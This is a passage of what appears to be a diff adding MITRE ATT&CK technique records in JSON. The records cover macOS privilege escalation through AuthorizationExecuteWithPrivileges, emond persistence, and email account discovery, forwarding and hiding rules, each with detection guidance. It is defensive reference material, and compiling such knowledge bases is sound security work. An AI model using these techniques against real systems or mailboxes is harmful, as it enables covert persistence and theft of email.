"type": "attack-pattern", + "name": "Elevated Execution with Prompt", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T12:04:37.823Z", + "created": "2020-01-30T14:40:20.187Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", + "x_mitre_effective_permissions": [ + "root" + ], + "x_mitre_contributors": [ + "Jimmy Astle, @AstleJimmy, Carbon Black", + "Erika Noerenberg, @gutterchurl, Carbon Black" + ], + "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1548/004", + "external_id": "T1548.004", + "source_name": "mitre-attack" + }, + { + "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", + "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.", + "source_name": "AppleDocs AuthorizationExecuteWithPrivileges" + }, + { + "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", + "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", + "source_name": "Death by 1000 installers; it's all broken!" + }, + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://objective-see.com/blog/blog_0x2A.html", + "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", + "source_name": "OSX Coldroot RAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Account", + "x_mitre_data_sources": [ + "User Account: User Account Metadata", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-31T13:10:46.302Z", + "created": "2020-02-21T21:08:33.237Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087/003", + "external_id": "T1087.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019", + "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.", + "source_name": "Microsoft Exchange Address Lists" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist", + "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.", + "source_name": "Microsoft getglobaladdresslist" + }, + { + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + }, + { + "url": "https://support.google.com/a/answer/166870?hl=en", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "source_name": "Google Workspace Global Access List" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Accounts", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:09:59.862Z", + "created": "2020-10-01T01:09:53.217Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1585/002", + "external_id": "T1585.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/", + "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.", + "source_name": "Trend Micro R980 2016" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T02:57:25.544Z", + "name": "Email Accounts", + "x_mitre_version": "1.0", + "created": "2020-10-01T01:20:53.104Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1586/002", + "external_id": "T1586.002", + "source_name": "mitre-attack" + }, + { + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Addresses", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:27:19.702Z", + "created": "2020-10-02T14:56:24.866Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1589/002", + "external_id": "T1589.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.hackers-arise.com/email-scraping-and-maltego", + "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.", + "source_name": "HackersArise Email" + }, + { + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "source_name": "CNET Leaks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Collection", + "x_mitre_data_sources": [ + "File: File Access", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_version": "2.3", + "modified": "2021-10-15T20:19:33.750Z", + "created": "2017-05-31T21:31:25.454Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "x_mitre_platforms": [ + "Windows", + "Office 365", + "Google Workspace", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ", + "x_mitre_contributors": [ + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1114", + "external_id": "T1114", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Forwarding Rule", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T20:19:33.416Z", + "created": "2020-02-19T18:54:47.103Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "x_mitre_platforms": [ + "Office 365", + "Windows", + "Google Workspace", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)", + "x_mitre_contributors": [ + "Microsoft Security", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1114/003", + "external_id": "T1114.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018" + }, + { + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "source_name": "Pfammatter - Hidden Inbox Rules" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + }, + { + "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac", + "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.", + "source_name": "Mac Forwarding Rules" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Email Hiding Rules", + "x_mitre_data_sources": [ + "File: File Modification", + "Command: Command Execution", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-16T01:24:31.674Z", + "created": "2021-06-07T13:20:23.767Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", + "x_mitre_platforms": [ + "Windows", + "Office 365", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)", + "x_mitre_contributors": [ + "Dor Edry, Microsoft" + ], + "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/008", + "external_id": "T1564.008", + "source_name": "mitre-attack" + }, + { + "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59", + "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.", + "source_name": "Microsoft Inbox Rules" + }, + { + "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac", + "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", + "source_name": "MacOS Email Rules" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps", + "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.", + "source_name": "Microsoft New-InboxRule" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps", + "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.", + "source_name": "Microsoft Set-InboxRule" + }, + { + "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154", + "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.", + "source_name": "Microsoft Cloud App Security" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/", + "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", + "source_name": "Microsoft BEC Campaign" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T15:15:44.006Z", + "name": "Emond", + "created": "2019-09-19T14:07:11.734Z", + "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1519", + "external_id": "T1519", + "source_name": "mitre-attack" + }, + { + "url": "https://www.xorrior.com/emond-persistence/", + "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.", + "source_name": "xorrior emond Jan 2018" + }, + { + "url": "http://www.magnusviri.com/Mac/what-is-emond.html", + "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.", + "source_name": "magnusviri emond Apr 2016" + }, + { + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "source_name": "sentinelone macos persist Jun 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Emond", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T21:37:25.307Z", + "created": "2020-01-24T15:15:13.426Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", + "x_mitre_contributors": [ + "Ivan Sinyakov" + ], + "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/014", + "external_id": "T1546.014", + "source_name": "mitre-attack" + }, + { + "url": "https://www.xorrior.com/emond-persistence/", + "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.", + "source_name": "xorrior emond Jan 2018" + }, + { + "url": "http://www.magnusviri.com/Mac/what-is-emond.html", + "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.", + "source_name": "magnusviri emond Apr 2016" + }, + { + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "source_name": "sentinelone macos persist Jun 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Employee Names", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:27:49.437Z", + "created": "2020-10-02T14:57:15.906Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", + "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1589/003", + "external_id": "T1589.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.", + 